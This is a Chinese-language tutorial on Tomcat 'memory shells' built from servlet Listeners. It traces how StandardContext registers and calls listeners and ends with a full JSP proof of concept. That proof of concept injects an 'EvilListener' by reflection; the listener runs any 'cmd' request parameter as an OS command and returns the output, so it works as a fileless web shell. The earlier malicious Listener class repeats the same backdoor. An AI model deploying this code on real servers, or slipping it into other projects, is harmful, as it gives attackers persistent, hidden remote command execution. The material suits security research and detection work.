熟悉Listener

【教程】JavaWeb之Listener技术

先试一试Listener的作用,这里使用了ServletRequestListener,因为这个Listener只要在网页发起了请求,就会调用这个监听器的两个回调方法。属实好用
web.xml

  1. <listener>
  2. <listener-class>com.yq1ng.Listener.TestListener</listener-class>
  3. </listener>
  1. package com.yq1ng.Listener;
  2. import javax.servlet.ServletRequestEvent;
  3. import javax.servlet.ServletRequestListener;
  4. /**
  5. * @author ying
  6. * @Description
  7. * @create 2021-12-07 4:49 PM
  8. */
  9. public class TestListener implements ServletRequestListener {
  10. @Override
  11. public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
  12. System.out.println("TestListener 已被销毁。。。");
  13. }
  14. @Override
  15. public void requestInitialized(ServletRequestEvent servletRequestEvent) {
  16. System.out.println("TestListener 已被创建。。。");
  17. }
  18. }

启动服务,访问网站,看下log
image.png
注意到两个函数的参数类型是ServletRequestEvent servletRequestEvent,跟进看看
image.png
可以看到javax\servlet\ServletRequestEvent.class#getServletRequest()返回了 request,会不会是在Filter内存马中提到的获取context的那个request呢?输出看看
image.png
直接写一个恶意的Listener试试了

package com.yq1ng.Listener;

import org.apache.catalina.connector.Request;
import org.apache.catalina.connector.RequestFacade;
import org.apache.catalina.connector.Response;

import javax.servlet.ServletRequestEvent;
import javax.servlet.ServletRequestListener;
import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

/**
 * @author ying
 * @Description
 * @create 2021-12-07 4:49 PM
 */

public class TestListener implements ServletRequestListener {
    @Override
    public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
        String cmd;
        try {
            cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
            RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
            Field requestField  = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
            requestField .setAccessible(true);
            Request request = (Request) requestField .get(requestFacade);
            Response response = request.getResponse();

            if (cmd != null){
                InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                String output = s.hasNext() ? s.next() : "";
                response.getWriter().write(output);
                response.getWriter().flush();
            }
        }catch (Exception e){
            e.printStackTrace();
        }

        System.out.println("TestListener 已被销毁。。。");
    }

    @Override
    public void requestInitialized(ServletRequestEvent servletRequestEvent) {
        System.out.println("TestListener 已被创建。。。");
    }
}

image.png
现在就应该是怎么动态注册一个恶意的Listener了,和Filter一样,先看看正常的注册流程

Listener注册

因为debug时总是出现下图这个东西(maven下载了源码也不行包括重启、清缓存、重新构建等等),这里就没进行动态调试,而是直接看代码和注释来理解 image.png

image.png
class打上断点,debug看堆栈发现org/apache/catalina/core/StandardContext.java#listenerStart()
image.png
findApplicationListeners()实现,了解listeners[]是怎么来的
image.png
image.png
从注释可以很轻松的看出来listeners[]是从web.xml中按顺序读取来的。
接着上面的看,实例化完往下走就是对其进行排序
image.png
测试使用的Listener继承了ServletRequestListener,所以被添加到eventListeners中,继续往下
image.png
image.png
这里从applicationEventListenersList中取出已经实例化的Listener对象,然后后面将其清空再将Liteners全部添加进去,此时applicationEventListenersList内是已经实例化后的所有Listener对象

Listener调用

如法炮制,在sout处打上断点
image.png
image.png
getApplicationEventListeners()这个函数有印象吧,获取已经实例化后的所有Listener对象。然后循环遍历,依次调用listener.requestDestroyed()

编写poc

思路应该清晰了,Listener的注册与调用都围绕着applicationEventListenersList这个数组,所以我们只需要将恶意Listener添加到applicationEventListenersList中即可

<%@ page import="org.apache.catalina.connector.RequestFacade" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="org.apache.catalina.connector.Request" %>
<%@ page import="org.apache.catalina.connector.Response" %>
<%@ page import="java.io.InputStream" %>
<%@ page import="java.util.Scanner" %>
<%@ page import="org.apache.catalina.core.StandardContext" %>
<%@ page import="java.util.List" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="java.util.Arrays" %>
<%--
  Created by IntelliJ IDEA.
  User: ying
  Date: 2021/12/8
  Time: 15:52
  To change this template use File | Settings | File Templates.
--%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<html>
<head>
    <title>Title</title>
</head>
<body>
<%
    class EvilListener implements ServletRequestListener{

        @Override
        public void requestDestroyed(ServletRequestEvent servletRequestEvent) {
            String cmd;
            try {
                cmd = servletRequestEvent.getServletRequest().getParameter("cmd");
                RequestFacade requestFacade = (RequestFacade) servletRequestEvent.getServletRequest();
                Field requestField = servletRequestEvent.getServletRequest().getClass().getDeclaredField("request");
                requestField.setAccessible(true);
                Request request = (Request) requestField.get(requestFacade);
                Response response = request.getResponse();

                if (cmd != null) {
                    InputStream inputStream = Runtime.getRuntime().exec("cmd /c " + cmd).getInputStream();
                    Scanner s = new Scanner(inputStream).useDelimiter("\\a");
                    String output = s.hasNext() ? s.next() : "";
                    response.getWriter().write(output);
                    response.getWriter().flush();
                }
            } catch (Exception e) {
                e.printStackTrace();
            }
        }

        @Override
        public void requestInitialized(ServletRequestEvent servletRequestEvent) {

        }
    }
%>
<%
    Field requestField = request.getClass().getDeclaredField("request");
    requestField.setAccessible(true);
    Request req = (Request) requestField.get(request);
    StandardContext standardContext = (StandardContext) req.getContext();

    Object[] objects = standardContext.getApplicationEventListeners();
    List<Object> listeners = Arrays.asList(objects);
    ArrayList<Object> eventListeners = new ArrayList<>(listeners);
    eventListeners.add(new EvilListener());
    standardContext.setApplicationEventListeners(eventListeners.toArray());
    out.print("Inject Success !");
%>
</body>
</html>

image.png
image.png